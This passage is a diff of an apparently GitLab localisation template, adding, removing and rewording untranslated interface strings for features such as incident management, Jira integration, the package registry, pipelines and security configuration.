msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17491,6 +17783,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17530,6 +17825,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17569,6 +17867,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17584,9 +17885,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17716,7 +18014,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17916,10 +18214,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17997,7 +18295,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18183,7 +18481,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18417,6 +18715,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18486,12 +18787,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18519,6 +18814,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18564,6 +18880,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18666,6 +18985,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18675,6 +18997,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18708,13 +19036,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18738,7 +19066,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18813,6 +19141,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18828,10 +19159,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18918,7 +19249,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18966,6 +19297,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18981,6 +19324,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -19074,6 +19420,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -19107,6 +19456,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -19134,9 +19486,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19173,6 +19546,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19418,18 +19794,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19601,6 +19971,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19637,6 +20013,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -20146,7 +20525,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20404,6 +20783,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20491,6 +20873,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20686,6 +21071,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20737,9 +21125,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -21028,10 +21413,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -21135,6 +21520,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21309,10 +21697,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21572,6 +21960,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21704,6 +22098,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21731,6 +22128,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21901,9 +22301,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -22003,9 +22400,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22356,7 +22750,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22383,6 +22777,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22596,6 +22993,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22934,6 +23334,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23317,7 +23720,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23416,7 +23819,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23482,6 +23885,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23509,6 +23915,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23551,6 +23960,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23572,6 +23984,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23623,9 +24038,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23635,6 +24059,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23650,6 +24077,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23695,6 +24125,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23707,12 +24140,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23809,7 +24236,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23824,6 +24251,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23875,6 +24305,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -24010,6 +24443,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -24088,6 +24524,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -24142,6 +24581,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24208,6 +24695,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24265,6 +24755,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24286,6 +24779,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24340,6 +24836,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24370,9 +24869,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24670,9 +25166,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24709,6 +25211,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24718,6 +25223,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24751,9 +25259,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24781,6 +25286,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24937,6 +25445,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25291,7 +25802,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25549,6 +26060,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25702,9 +26216,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26179,9 +26690,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26233,12 +26741,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26251,6 +26753,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26263,9 +26768,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26281,10 +26783,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26293,9 +26795,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -27043,9 +27542,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -27055,6 +27551,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -27156,7 +27655,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27392,9 +27891,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27410,6 +27906,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28377,6 +28876,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28987,16 +29498,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -29011,6 +29531,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -29023,6 +29546,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -29035,10 +29561,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -29047,6 +29573,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -29101,6 +29630,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -29119,9 +29651,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -29143,9 +29672,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29314,6 +29840,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29380,6 +29909,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29614,6 +30146,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29767,9 +30302,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -30004,9 +30536,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30251,6 +30780,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
